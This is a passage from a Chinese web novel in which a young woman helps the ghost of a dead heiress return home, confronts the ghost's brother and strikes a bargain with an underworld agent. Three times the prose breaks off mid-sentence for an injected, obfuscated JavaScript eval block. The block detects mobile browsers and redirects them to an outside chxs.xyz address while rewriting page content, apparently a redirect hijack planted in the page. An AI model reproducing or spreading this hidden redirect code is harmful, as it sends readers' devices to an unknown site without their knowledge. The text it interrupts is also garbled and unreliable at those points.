常喜乐光是想想就觉得难过,而那个所谓亲人却将这样重要的信件撕毁。 “你别生气啦。过去这么久,我已经不难过了。”戴山雁安慰她,凑在她耳朵边悄悄说,“等会儿吃完饭,我带你去我房间。” 常喜乐点了点头,下意识想摸摸戴山雁的头发,抬手时,又想起了斯人已不在。她沉默片刻,指尖落回了自己的鬓发边。 正厅内觥筹交错,认识的人分成几部分围坐攀谈,有些人见常喜乐走进来后就停下了话头,用难以言喻的眼神打量着常喜乐,似乎对这位不知来头却惹怒了戴家那位少爷的女人很感兴趣。 常喜乐权当没看见,从旁边侍者手中托盘上拿了杯酒。 她酒量不大好,只是轻抿了一口,自言自语似的问:“我好像没在这找到你的父母,需要代你去看看他们吗?” “没事。”戴山雁在常喜乐刷手机的时候曾经跟着看过,她母亲伤心过度,大概是病了,她父亲大概是在照顾她。因此戴山雁的葬礼才交由戴西港来操办。 常喜乐点了点头,注意到旁边那几个打量她的人还没收回视线,一边看她一边窃笑着说话。让常喜乐很不舒服,也彻底没了吃饭的胃口。 她干脆拿着酒杯往正厅的角落走去,西边连着一条长廊。据戴山雁说,走过长廊后再穿过一座花园,就是她们一家人住的地方。 廊道幽深且长,左右廊壁上都挂着一幅幅画,看边上落款的名字,似乎都是名家大作。常喜乐匆匆扫过几眼,快步往前走。 戴家让她觉得不舒服,她想早一些离开了。 然而常喜乐脚步慢慢停了下来,她在一个巨幅画作面前驻足,看得入了神。 “喜欢?”戴山雁见她停留,得意道,“你的眼光不错嘛,这就是我说的那幅画,比你男朋友送的画怎么样?” “好看。”常喜乐诚实道,“是不一样的那种好看。” 画面中描绘了一座巨大的神像,石塑女子盘坐在高大的殿宇中,低头俯视众生,嘴角微微含笑。在她面前的石阶上,摆着一朵蓝色的小小的剑兰花。 “这神像,我曾经见过。”她仔细看着画面中的每一个细节,喃喃自语,“该找时间回去说声谢谢的。” 如果不是笑语观那位道长替她指路,说不定她这会儿还在常乐山上打转呢。 “我当时花了高价拍来的,但这么大一幅画好像很难让你悄悄带走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784487|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴山雁苦恼地开始思索解决办法。 “没关系,喜欢一幅画未必要拥有它。”常喜乐安抚似的笑了笑,准备继续往前走,却又被一个声音打断了。 “这是那位画家Prosit的画作吧。” 常喜乐被这一声吓到了,差点把高脚杯里的酒水洒出来。转头看,在开场前曾见过一面的陈墨芯不知什么时候走到了她身旁。 “我知道,每幅画边上都有标注作者。”常喜乐皮笑肉不笑地回答他。 “我很仰慕Prosit的作品,只是他流传在外的作品非常少,一幅就价值千金,早知道戴家拍下了一幅,今天能欣赏到还真是幸运。”陈墨芯仰头一起凝望着这幅令人震撼的画作,继续侃侃而谈道,“你知道吗?他的每幅作品,都有一个防伪标识。” “我不知道。”常喜乐说得干脆。两人无声地对视了一会儿。 按理来说,要想把这个话题接下去,理应要问一句:“是什么呢?”否则,会让话题发起人觉得有些尴尬。 常喜乐偏不。她眨着眼和陈墨芯对视,希望这位不速之客能自己识趣地离开——她还要代戴山雁再走一趟呢。 陈墨芯却很满意常喜乐的“不知道”,让他有机会教导她:“在Prosit的画作里,用紫外线笔照看着,会发现里头藏着一个梅花印。每一朵都长得一模一样,一对比就知道了。” 常喜乐眼看着陈墨芯不知从哪拿出了个小巧的紫外线笔,她那句“到底谁会随身带着这个”的吐槽硬生生憋在喉咙里,就看着这幅画的那朵剑兰花所在处,果然慢慢浮现出一个形似梅花的印记。 “这看起来,更像是猫爪印吧?”常喜乐微微凑近看了眼,对“梅花”这一说并不认可。 陈墨芯以前也没见过Prosit的真作,一时难以反驳。 说完了吗?说完了该轮到她了。常喜乐看了眼远处钟表上时针指向,没时间再闲聊下去,她问,“你知道Prosit这个词是什么意思吗?” “这……”陈墨芯不失礼貌地微笑,注意到她念词的方法与他有些不同。 “你的念法错了,这是个德语词,r处要发小舌音,而s在元音前发浊音。它是个敬酒词,寓意一切顺利、平安顺遂。就像这样……”常喜乐随着话音落下,笑着伸手向陈墨芯敬出她那杯没喝多少的红酒,示范道,“Prosit!” 面前的女孩笑得爽朗,发丝随着她头的偏向拂过白皙的脸颊。红酒在杯壁晃荡,轻易就漾了出来,陈墨芯的衬衣也因此被酒水微微沾湿,显出红色印迹来。 “抱歉,我不是故意的。”常喜乐故作惊讶地收回酒杯,很没诚意地道歉,“你可以找侍者带你去换件衣服。” “在女士面前衣冠不整,是我的不对。”陈墨芯没有一点慌乱,反而道了歉。他不错眼地望着常喜乐,毫不掩饰眼里的惊艳之色。与此同时,他微微向上举起手中的酒杯,然后一饮而下,配合地随她重复道:“Prosit.” 常喜乐看着他离去的身影,虽然自己赶人离开的目的达成了,却觉得心里有股挥之不去的异样感。 她忍住伸手堵耳朵的冲动——围观了一场好戏后的戴山雁从刚才就一直在大笑,简直要把她的鼓膜都震破了。 这还是戴山雁今天第一次笑得这么开心。 常喜乐也跟着笑起来,问她:“你的卧室该怎么走?悄悄地带路,打枪的不要。” 42.失望 戴山雁住的地方实在离正厅有点远,而且路线复杂。好在因为这一家人不怎么喜欢在日常起居的地方见到外人,所以常喜乐一路上并没遇到诸如保姆、安保一类的人阻拦。 常喜乐看不见她,只能听从戴山雁的指挥绕来绕去,走了好多冤枉路。她有些担忧的问:“我会不会撞见你爸妈?” 去世女儿的朋友在自家房子里鬼鬼祟祟地走来走去,怎么想都有点变态吧? “不会,我和爸妈不住在一栋房子里。这里三层是我住,四层是戴西港住。他在外面接待客人,没空来。” “好小众的语言……那你们岂不是很难见到面?”一直和爸妈住在小区套房里、抬头不见低头见的常喜乐很难想象这样的生活。在她们家,有时她半夜溜出去买烧烤,还能在家门口撞见正好晚归的爸爸。这时两人会互相指责一番,随后狼狈为奸地一同出门买夜宵,再把熬夜看电视的妈妈拉起来一块大快朵颐。 “真羡慕你们,我们一家人只有吃饭的时候才会见到对方。”戴山雁难掩失落地说,“后来,爸爸忙,总要见生意伙伴。妈妈身体不好,饭菜都是送她房间里。戴西港……留学后,只有过年才回家。有时候连过年都不回!” 常喜乐一时不知道怎么安慰,她想起第一次和戴山雁见面的时候,她就是一个人躺在病房里,没有别人照料。 按理说,女儿重病,至少该找位陪护吧?电视剧里,像戴山雁这样的女孩,都住在最好的医院里最豪华的单人间。 但这些想法常喜乐都没有说出来,她换了个话题问:“你的父母为什么给你取名戴山雁呢?” 这时,她穿过了一条走廊,站在一扇白色大门前。常喜乐挑了挑眉,念出门上写的几个大字“戴西港与狗不得入内”。 ……看来是戴山雁的房间没错了。 然后,常喜乐按了按门把手,在感受到某种阻力之后,不死心地前后拽了拽。然而门只是微微有晃动,全然没有要打开的意思。常喜乐冷静地对戴山雁说:“锁上了。” “锁住了?为什么……”戴山雁问完就沉默了。戴家山庄门卫森严,不必担心有小偷一流。她卧室从来就没锁过,如今答案不言而喻——一间不会再有人使用的房间,就像是摆置废弃用品的仓库,上锁似乎也很合理。 一直对回家这件事碎碎念的戴山雁突然就像被浇了盆冷水一般,她问:“会不会里面的摆设也早就变样了?”她的东西不再归属于她,也就意味着可以任人处置么? “不会的。”常喜乐下意识反驳,但一时也不理解这家人为什么要把这间卧室锁上,但既然来到这,就没有半途而废的道理,她问,“你对你房间钥匙有没有大致的印象?我可以去找。” “不知道。”戴山雁没了说话的兴趣,她很颓丧地靠坐在墙边。常喜乐还没意识到戴山雁没跟在她身边了,依然面对着刚才戴山雁出声的方向。 戴山雁无声地笑了笑。没人能看见她,因为她已经死了。 一切又有什么意义。她这一生没什么丰功伟绩,当然也没闯过滔天大祸。葬礼上没有她的好友、也没有仇敌,只有疏离的兄长、称病的父母。她来过人世间一趟,但似乎没有留下痕迹。 刚才常喜乐问的问题还没有得到答案,她锲而不舍地和戴山雁说话,很怕对方就此沉默:“很多人第一次听到我的名字,都觉得稀奇。别人家起名恨不得拿放大镜从字典里找寓意最好的字,生怕和人重名了。我倒好,一个‘喜’字,一个‘乐’字,简直是通俗到不行了。” 常喜乐趁着换气的空隙,仔细倾听着。隐隐地,她听见右下方,门边的墙角下传来吸鼻子的声音。 她便蹲下来,环抱着双膝,继续说:“我从出生开始就很爱哭,风吹草动都能吓到我。时常从早哭到晚,我爸妈为了哄我简直头痛死了。所以就给我取名常喜乐,希望我能笑口常开。” 常喜乐说完,等了好一会。终于,她侧前方的这个小姑娘舍得开口了。 戴山雁说:“小时候,也有人笑我。问我的名字怎么这么糙,像是随便乱取的一样潦草。我就哭着跑回家,跟我妈妈说我要改名字。” 常喜乐听得认真,她问:“后来呢?” “和妈妈吵了一架,她说这名字有福气,不许我改。”戴山雁话说得很慢,似乎在遥想一些原本隐匿在她记忆中的过往,“后来爸爸告诉我,我是早产儿,一出生就带着病,住在保温箱里。当时的主治医生判断,我要是能活到来年开春,就算撑过去了。”言外之意,撑不过去,人就没了。 “我妈整天以泪洗面,我爸忙着照顾她。我就一直没有名字。毕竟,一个随时可能去世的孩子,起名又有什么意义?”戴山雁说,“我哥当时也小,半大的孩子拿着本书和爸妈说,糙名好养活。就在那天,妈妈在病床上看到窗外的天边有一只掉队的大雁孤零零地翻山越岭,向南迁徙。” “他们希望我能像那只大雁一样,就算比别人走得慢一点,也能够到达终点。”戴山雁自嘲似的笑了笑,“可惜,还是让他们失望了。” “不会的。”常喜乐认真地反驳戴山雁,“医生说你活不过出生那年,说你撑不过十八岁。但你这么一步步坚持到了二十岁,真的已经很厉害了。” “……是这样吗?”她问。 常喜乐用力地点了点头。 “所以,不要哭了,山雁。”常喜乐站起来,非常坚定地盯着面前这扇看似牢不可破的大门,“我没有办法为你擦眼泪。但是我今天一定替你打开这扇门。” “你听出来了?”戴山雁擦了擦眼泪,有些不好意思,“可我不知道钥匙在哪,你怎么打开门呢?” “鄙人不才,刚学的两个小法术里,正正好好有个开门术。”常喜乐从随身的挎包里抽出一张空白的黄符来。出门前为了搭配衣服她只带了个小包,小姨给的那些已成型的符都放在宿舍里了,至于朱砂、墨笔之类的更是没带。 她安抚似地对戴山雁一笑,然后狠狠心,咬破了自己的食指。 “诶,你干什么?”戴山雁下意识想抓住她的手腕,但只穿过她的身体在虚空中抓了一把。也不怪戴山雁不知道,在常乐观那段时间,她因为不敢面见神佛,一直躲在锦囊里,完全错过了常喜乐学符智斗书念一事。 “事急从权。”常喜乐没有多做解释,把黄符拍在门上,抬手行云流水地画下开门符。她动作又快又准,否则手上的伤口会很快凝住。 这期间,常喜乐没有任何杂念,只是一心想着:“请让我打开这扇门吧。” 有个小姑娘,她想回家。 常喜乐深吸了一口气,轻轻把手搭上门把手,然后用力按了下去,向外一拉。 门还是没有动静。 “怎么会……”常喜乐眸光微闪,是符画得不够流畅?还是她心不够诚? 书念的确说过,初学者鲜少有能即兴画符成功的。但常喜乐坚信勤能补拙,她皱眉,打算再咬破一次刚凝和伤口的食指,被戴山雁出声阻止了:“等等!” “没事的,我再画一次符,一次不行两次,两次不行三次,总有一张能生效!”常喜乐眼神发亮像有火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795832|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在烧,犟得简直不像她了。 “你听我说。”戴山雁只恨不能拽住常喜乐这只无端遭罪的手,提醒她,“你把门向里开。” “诶?”常喜乐一愣,试探性地按下门把手,向里推去。 “咔哒”一声,门锁开了。 戴山雁就吃吃地偷笑起来:“你呀……” “哦……”常喜乐眨了眨眼,默默盯着自己有伤的那只手。 就在刚才,她感觉从指尖开始,好像有一阵凉气钻入,让她起了一身鸡皮疙瘩。 不过常喜乐来不及多想,她走进门,被侧面的巨大的一片照片墙吸引了注意力。上面挂着全家福,贴着戴山雁各色各样的个人照,还有小号戴山雁和中号戴西港在花园里搏斗、在厨房一脸奶油地抱着笑开怀的妈妈,诸如此类的照片。 戴山雁的声音出现在了照片墙前面,她说:“喜乐,你去我的书桌前,找一个兔子女士的小塑像好吗?” 常喜乐很快就在书桌的化妆镜旁找到了目标,她捧起那个小巧精致的端着茶杯的兔子女士摆件,问:“然后呢?” “你握着她的腰,向后掰。” 常喜乐谨慎地照做,惊讶地发现这摆件居然是个首饰盒,在兔子女士的腹部内,摆着一对银色的戒指。仔细看,那戒指上各自写着两个小字。 [素女] [永辉] “是我上半年去学着做的戒指,上面的名字我花了好久刻的。本来打算在爸妈结婚纪念日的时候送出去。”戴山雁原本只想来再看看自己的家就走,此时却很希望能尽力在这个世界上多留下点什么,“你帮我送给他们好吗?” “好。”常喜乐使劲眨了眨眼睛,想要忍住眼泪。 “还有,你帮我问问戴西港……”戴山雁犹豫了一会,又改口了,“算了算了,没什么。” 她马上换了个话题:“你再去我床左边的枕头底下,那儿放着一张银行卡。密码是我的生日,很好记的,你去百度百科上一搜就有。里面的钱随便你花,是私房钱,没人知道。” “山雁,我自愿帮你,不要报酬。”常喜乐摇了摇头,拒绝道。 “我就是想要给你。”戴山雁很执着,“喜乐,我希望感受到自己存在。” 戴山雁刚死的那几天,有意识,却没有形体。她能看见周围或痛哭或冷漠的人,却无法被他们注意到。她好像存在,又似乎已经湮灭。 直到她莫名来到了常喜乐身边。这个救了她一命的姑娘是世界上唯一能看见她的人。 “这笔钱,你可以拿去花、去做慈善、或者就干脆放着,都随你处置。你看到它的时候,都能想到曾经有过我这么个朋友。”戴山雁半开玩笑地说,“我没有太多好东西,穷得只剩下钱了。” 这笑话算是成功,但常喜乐却格外沉默,她依言拿着那张轻飘飘的卡,却觉得有千钧重。她接着问:“你还有什么想做的?戴西港那边……”有什么话想要问他? “你为什么会在这里?” 一个不属于这个房间的男声突然响起,宛如平地惊雷。常喜乐猛地抬起头,看见那房间大门不知什么时候洞开,门口站着一个高挑的男人。他一身原本笔挺的黑色西装不知觉间添了褶皱,这人一手握着门把手,另一手中紧捏着一张纸。 就在刚才,他路过这间本该上锁的房间时听见了自己的名字,推开门,就看见这个漂亮的古怪客人待在他妹妹的房间。 戴西港那一双丹凤眼直勾勾地盯着常喜乐,他又逐字逐句地问了一遍: “你,怎么会在这个房间?” 43.交易 常喜乐对上戴西港的视线,一时不知道该怎么回答这个问题。此时她的左手托着两个银戒指,右手则拿着戴山雁给她的那张银行卡,被戴西港尽收眼底。 她其实可以理解对方此刻的心情,一个完全陌生的人出现在去世亲人的房间里,的确堪称诡异。 “我来完成山雁的遗愿。”常喜乐言简意赅。 “她的遗愿由我来完成就够了,用不着你这个外人。”戴西港对这个回答并不满意,他真正想问的是,“这房间明明上了锁,你怎么进来的?” 这就是一个更加复杂的问题了。 如果直接说她会画符,听起来很像招摇撞骗。毕竟这世界还是无神论者更多,要向他们解释明白这些怪力乱神之论不是一时半会能做到的事。哪怕是常喜乐自己,也是亲身经历过了才愿意相信。 常喜乐没有回答戴西港,而是微微偏头,向着那照片墙的方向轻声问:“看来我不能再多待了,你还有什么想对他说的吗?” 现在不说,以后可能就再也没机会了。 戴山雁眼神复杂地看着戴西港,她深吸了一口气,像是下了决心,她问:“我说一句,你转述一句,可以吗?” 常喜乐点了点头。 戴西港就看见这女人眼神微微放空,偏头似乎在聆听什么,然后一句一顿地对他说话。 “戴西港,你替我向爸妈说一声对不起。我不该因为贪玩就悄悄溜出家。不该生病住院了也不告诉家里。” “我那天说希望你再也别回这个家,是气话。现在我死了,不会再惹你生气了,你以后也能高兴点。” 戴西港沉默地听常喜乐说话,捏着纸的那只手不知觉收紧,眼眶微微发红。他紧盯着常喜乐的神情,想判断她说的是真是假。随后他又顺着她的视线方向看去,那里空无一人,只有满载的照片墙。 他冷笑道:“你别再拿我死去的妹妹装神弄鬼。我派人查过,你的确救过她一命,但除此之外再无交集。如果想以此获取报酬,大可光明正大来向我戴家要,我们还不至于吝啬这一点钱。” 他盯着她手上的首饰,意有所指道:“别像个小偷一样,来这不问自取。这些对你来说也许只是换钱的工具,对我们却……” 常喜乐终于舍得分给他一个眼神。她紧皱着眉,用食指抵在唇前,短促地嘘了一声:“我听不清了。” 她天生长着一双笑眼,即使什么表情也不做,唇角也一向是微微上翘。而现在她的神情却异常庄重,像是心里非常难过,却不得不维持正常语气说话。戴西港看着她泛着水光的一双愠怒的眼睛,不知为何,安静了下来。 她继续说:“你的书房是我锁的,本来应该亲手给你钥匙,可惜没等到你回家。钥匙就放在门框顶上,你进去的时候别太惊讶,就当是我给你的赔礼了。到时候可别又抱怨说爸妈都有礼物,就你没有。” “……够了!”戴西港再也无法忍受这个女人继续用他妹妹的口吻对自己说话。他松开门把手大步向前走,要向常喜乐问个清楚。 “你是谁?你别过来!”常喜乐继续转述着戴山雁的话,说到这却觉得哪里不对。她转头看向戴山雁声音传来的方向,问,“山雁,你在和谁说话?” 与此同时,随着窗外狂风大作,乌云蔽日,天光顷刻间暗了下来。 “答,答……”先是几滴豆大的雨点敲在窗台上,随后暴雨倾盆,从窗户望出去,整个山间的花草树木都被这接天的大雨倾盖。 在这雨声之外,常喜乐听到了那个熟悉的冷冰冰的声音。 “戴山雁,女,应卒于甲辰年八月十五申时中期,实卒于甲辰年八月十九子时。是你没错吧?” “你怎么会知道我的名字?别过来,别碰我!” 常喜乐只能听见照片墙前有人在和戴山雁说话,却什么也看不见。然而她有一种强烈的预感——这位不速之客,和她在梦里,甚至在徐婉佳葬礼上见到的那个黑衣男人是同一个。 “你已经在人世间停留太久,该走了。” “不……我还有人没见,还有很多话没说,我不能走。”戴山雁下意识地向常喜乐所在方向躲去,寻求庇护。 常喜乐感觉到戴山雁向自己靠近的跑动声,她抬起右手想将人护在身后,然而就在这一瞬间,却感到一股极为寒冷的凉气顺着指尖钻进了自己的身体。 她只觉得双腿一软就要跪在地上,被刚走到面前的戴西港搀住手臂才堪堪站住。 “你究竟在搞什么花样?”戴西港皱眉,耐心几乎告罄,然而他在对上常喜乐的视线时,接下来的话却哽在了喉咙里。 她的脸色苍白,盯着戴西港的脸,发出一声呢喃:“哥哥……?” 常喜乐此刻的眼神,实在是,太像……太像她了。 下一秒,她的眼神又从湿润迷茫变得清明而坚韧。常喜乐使劲摇了摇头想保持清醒,挥开戴西港扶住她的手,咬着牙站直身体,如临大敌一般,紧盯着不知什么时候站在她面前的,那个穿着黑色风衣的男人。 他双手抱臂、气定神闲,那双熟悉的漂亮眼睛直直地望着她,笑叹了一声:“你可真是让我好找啊,常、喜、乐。” 这是她第一次看清楚这男人的全貌,他身形瘦高,相貌俊美,分明神情带着笑意,常喜乐却忍不住打了个寒战。 这个几次三番在她梦中纠缠的男人,不止一次来到现实。如今也证实了,他的确存在,不只是她的一场梦。 “你是谁?”她问。 男人挑眉:“我想你不需要知道这个。” “你已经知道了我的名字。”常喜乐没有因为被拒绝而放弃,她继续追问,“不打算礼尚往来一下吗?” “我姓谢,是个无常。”男人不知想到了什么,突然觉得就算告诉她也无妨,他很绅士地提议道,“你可以叫我小谢。” “你想做什么?”常喜乐听到无常这两个字,心里惊了一下。她瞥了一眼窗外越来越大的雨势,微不可见地皱了一下眉。 这个问题太不像常喜乐会提出的了,因为答案简直是显而易见的。无常抬起手指向常喜乐的身体,说:“带她走。” 常喜乐一开始不理解,他明明指着自己,为什么却用了第三人称“她”。然而,等她在脑子里听见戴山雁啜泣的声音时,才突然意识到刚才那一阵凉意是从何而来。 戴山雁现在附在了她的身上。 他要带走戴山雁的魂魄。 不等常喜乐想好接下来怎么应对,他突然歪了歪头,面无表情点明了常喜乐的意图:“你在拖延时间,为什么,你想留下她?” 被他发现了。 上一回在现实里见到这个姓谢的男人就是在一个乌云密布的阴天,随着太阳一出现他就消失了。 常喜乐看了一眼站在一旁的戴西港。他神色古怪地看着常喜乐面对一堵墙自言自语,显然看不见这个不速之客。也就说明这是个没有实体的鬼。 像这样的鬼怪一类的存在,出现在现实世界总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809149|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有条件的。常喜乐原本觉得,也许他不能见阳光。然而他却说自己是无常,常喜乐对“无常”知之甚少,却大概知道他们平时的职责。这样的一类存在会怕阳光吗? 她拿不准。 更何况这突如其来的一场雨大有一副下他个三天三夜的气势,“等天晴”这个想法可以直接抛弃了。 “你要带她去投胎转世吗?”常喜乐想了想,问他。 “不是每个人都有投胎转世的资格,我只负责带她下去。”无常回答得诚恳。当初戴山雁死时,他就没找到这人的魂魄。因为知道人死后的第七天会回家,他在这个山庄蹲守了两天,才终于找到了这个逃逸的鬼魂。 “不能再等等吗?她还没有和家人好好告过别。”常喜乐有些犹豫,活人的世界有秩序,死人的世界当然也有。游荡在尘世间显然不是戴山雁最好的归宿,在若干年后甚至可能会成为一种可怖的惩罚。但戴山雁还在和家人交代后事,就这么直接带走她实在太残忍了。 “哈,我死的时候也没和家人告过别,谁管了?”那无常像是听到了什么笑话,他打了个哈欠,决定不再和常喜乐废话,伸手向她勾了勾。 常喜乐立刻觉得身体里像沸腾了一般燃烧起来,耳边回荡着尖叫与痛哭。她跪坐在了地上,觉得自己的灵魂几乎要被拽出躯体一般剧痛无比。 无常放下了手,他啧了一声,向前走了几步,单膝跪在常喜乐的面前。她已经冷汗涔涔,然而抬起头时,那一双眼睛却泛着寒光似的,没有一点畏惧的意思。 “真是初生牛犊不怕虎,你自愿让她附身,就不怕被怨魂反噬吗?”他能勾走魂魄,但如果强行勾取常喜乐身体里的魂魄,恐怕两个魂魄将会一块儿被勾出来,只剩下一具空壳躯体了。 “我知道,这是你的职责。”常喜乐答非所问,她已经不剩太多力气,因此每个字都说得很艰难,“可就算她已经死了,也还是人。你不能像随便绑走什么物品一样强行把人带走,她有感情有思想,和你是平等的。” “就让她,和家里人好好道个别。她会愿意离开的。”常喜乐勉力露出个笑容来,说,“好歹也算个公职人员,就不能试着柔性执法吗?” 无常沉默了片刻,认真地思考起她说的话来。他想了会就果断摇头:“是人就有执念。如果带走每个鬼都得满足他们的愿望,我加班到死也干不完。” “那只能说明,你们人手不足,而工作过于饱和,是时候该扩招了。”常喜乐见他愿意接她的话,能沟通就说明有希望,立刻又顺着他的逻辑往下说。 没想到这无常竟然非常认可地点了点头。他握住常喜乐的小臂,将她扶了起来。 他似笑非笑地说:“正有此意。” “不如我们做个交易怎么样?”无常舔了舔后牙,饶有兴味地说,“我同意她去和家人做最后告别,而你要答应我一个要求。” 常喜乐盯着他的眼睛,此刻她实在想不出其他解决的办法了。她只是个普通人,顶多对鬼怪一流有一点知识储备,却难以与一个真正有法力的无常抗衡。 “如果我能做到的话。”她补充了一个条件。 “当然。”无常的笑容越发灿烂,他原本眼尾下垂,显得阴郁,此刻却好像一个真正的二十多岁,正意气风发的青年似的,他紧紧握住了常喜乐的手,说,“一言为定。” 常喜乐不知道,无论自认为多么谨慎,都不应当轻易去和鬼怪做交易——尤其是,那些已经游荡了很多很多年的,鬼。 44.最后一面 “承诺”这种东西,在没有条例约束的情况下,执行全靠良心。当两人达成承诺时,为了确保对方不会反悔,人们会用有法律效应的合同来约束双方。 阴界没有非常严格的法律条文一说,却不代表此处的“约定”有多么容易被打破。相反的,一旦定下契约,就被镌刻在灵魂上,任凭你逃到天涯海角也甩不脱。 “我给你们一个时辰。”无常的声音泛着凉意,但能听出来语气里暗含的雀跃。 常喜乐对这些一无所知,她等着这个无常自觉地消失在自己的视线里,才转头看向在一边的戴西港。他紧蹙着眉,情绪被愠怒和犹疑一分为二,理智告诉他常喜乐在装神弄鬼,然而刚才她暼过来的那一眼,却真的像极了戴山雁。 “你的妹妹死后,灵魂滞留在了我身边。我应她要求来见亲朋好友最后一面,现在有一位无常将要带走她。我们还有两个小时做最后告别。”常喜乐用最简洁的语言概括了现在的情况,问,“我知道你一定想让我证明这些话的真伪,但我不建议你把时间浪费在这上面。” “所以,信吗?如果没别的问题,我就让山雁出来说话了。”身体里存在着另一个灵魂的感觉非常不好受,常喜乐一直觉得眼前有两道重影,要很用力地眨眼才能看清东西。 这还是戴山雁对她并无恶意的情况下,否则,常喜乐未必能掌握自己身体的绝对控制权。 戴西港在国外生活的时候,总是遇到一些热情邀请他参与活动的人。他们或者为初到异国他乡的留学生接风洗尘,或者为兴趣爱好相近的年轻人提供交流环境。然而,在这些蒙着一层温暖外壳的活动中,执行者总会试探着把他们关于鬼神的理念潜移默化地传送给这些心智不够成熟的年轻人。 他从来不去,也从来不信。 他不理解室友为一个写着符篆的薄薄纸片一掷千金,也不明白一向聪明稳重的好友为什么因为所谓“大师”的一句“你死去的爱人,逡巡在大洋的东岸”就跟着一群人坐上了出海的轮船,再也没回来。 然而今天,他突然理解了——有时候,哪怕对方的话语离谱至极,人们也甘之如饴。因为他们口中的荒诞故事,是某些人遥不可及的奢望。 并非是骗术多么高超,只是亲者太过痛苦,想在缥缈无望的尘世中寻求一个寄托罢了。 戴西港露出个自嘲的笑来,说:“我信。” 常喜乐点头,她深吸了一口气,试着忍受这种身体脱离掌控的状态。 几乎是一瞬间,她的眼神就变化了。等到常喜乐再抬头,对上戴西港的视线时,露出一个比哭还难看的笑容来,她轻轻地叫了一声他的名字:“戴西港。” 戴西港的眼睫颤了颤,不可思议地观察着面前这张脸。有人说,人的长相与面部肌肉走向关系很大。常喜乐的五官和戴山雁没有分毫相似,但此刻她眉眼一动,立刻就有了他那骄矜的妹妹的感觉。 他抬起手想摸摸她的脸,最后只是把她的鬓发撩到了她的耳后。 “山雁。”如果仔细听,会发现戴西港的声音微不可察地有一丝颤抖。然而戴山雁这么多天来第一次重新感受到了掌控身体的感觉,她自己的的心脏也在砰砰狂跳,只听戴西港问,“要不要去见爸爸妈妈一面?” 类似的问题常喜乐之前也问过戴山雁。那时候她说爸妈生病,不在葬礼上很正常,不用勉强。此刻的她却只是不间断地点头,眼泪像断线的珠子一样落下,哽咽着说:“要见,带我去见!” 外界相传雷厉风行的那位房产大亨——戴永辉,此刻正端着一碗药,舀起一勺来轻轻把汤药吹凉,喂给半躺在床上的发妻。 林素女刚微微张嘴,就立刻扭过头去剧烈地咳嗽起来。戴永辉忙把碗放到桌上,伸手替她拍背。 “让我出去。囡囡的葬礼,我们怎么可以不在?”她摇摇头,掀开被子想下床,又被戴永辉拦住了。 “你已经晕过去两次,医生说了你必须静养。”戴永辉替她把被子盖上,劝慰道,“你现在要保持情绪平静,不能伤心过度。西港会处理好一切的,我们先把药吃了好吗?” 林素女只是摇头,她咳着咳着又悲从中来,流着泪重复着说:“我连囡囡最后一面都没见到,要我怎么放下?我苦命的女儿啊……你的心太狠了,女儿死了,你就一点不伤心吗?” 男人的眼睛也红了,他不愿和妻子吵架,只问了一句:“我怎么可能不伤心?” 两人互相背对着沉默了一会,直到敲门声响起,戴永辉才站起身去开门。 大概是戴西港来了,林素女连忙背过身去擦干眼泪,不愿让儿子看见。 然而探头进来的却是个完全陌生长相的姑娘。 她藏在门后边只露出半个身子,看见两人时眼睛亮亮的,却又怯生生的不敢进门。 戴永辉皱着眉要开口,林素女先拦住了他,问:“你是哪家姑娘,迷路了吗?” “我是……”戴山雁张了张嘴,不知该怎么说。她望着躺在床上的妈妈,一向温柔优雅的母亲此刻脸色苍白,眼底青黑,和从前判若两人。戴山雁的眼泪就落下来,忍不住唤了一声:“妈妈……” 这两个字一出,林素女强撑起来的温和就塌陷了,她别过头去,一双素手捂住脸,窄窄的肩膀颤动起来。 叫她妈妈的那个小女孩,已经不在人世了。 戴永辉沉痛地看了妻子一眼,对门口那不速之客冷声说:“出去!” 戴山雁下意识后退了一步,被跟在她身后的戴西港用双手扶住了肩膀。 “爸,妈。”戴西港揽住戴山雁的肩膀,把她往房间里又带了一步,“山雁回来看我们了。” “你还嫌你妈妈不够痛心吗!随便带个陌生的小姑娘回来就当是你妹妹了?滚出去!”戴永辉怒斥道。 戴西港头疼地按了按太阳穴,他知道这种事很难说服父母,可如果要把时间都花在解释身份上,等相信的时候也为时已晚了。 是个难解的问题。 但不等他做出反应,戴山雁就下定决心似的往前走。她到妈妈的床边蹲下,仰头对上其悲伤的面孔,一鼓作气地说完想说的话:“妈妈,我知道你老背着我们熬夜看书,但长时间盯着字很伤眼睛的!我本来想回家的时候和你讲的,你平常看一会书后,就要像这样——”她伸出双手用力搓了几下,盖在林素女的眼睛上,几秒后才放下,说,“用热气让眼睛舒缓一下!” 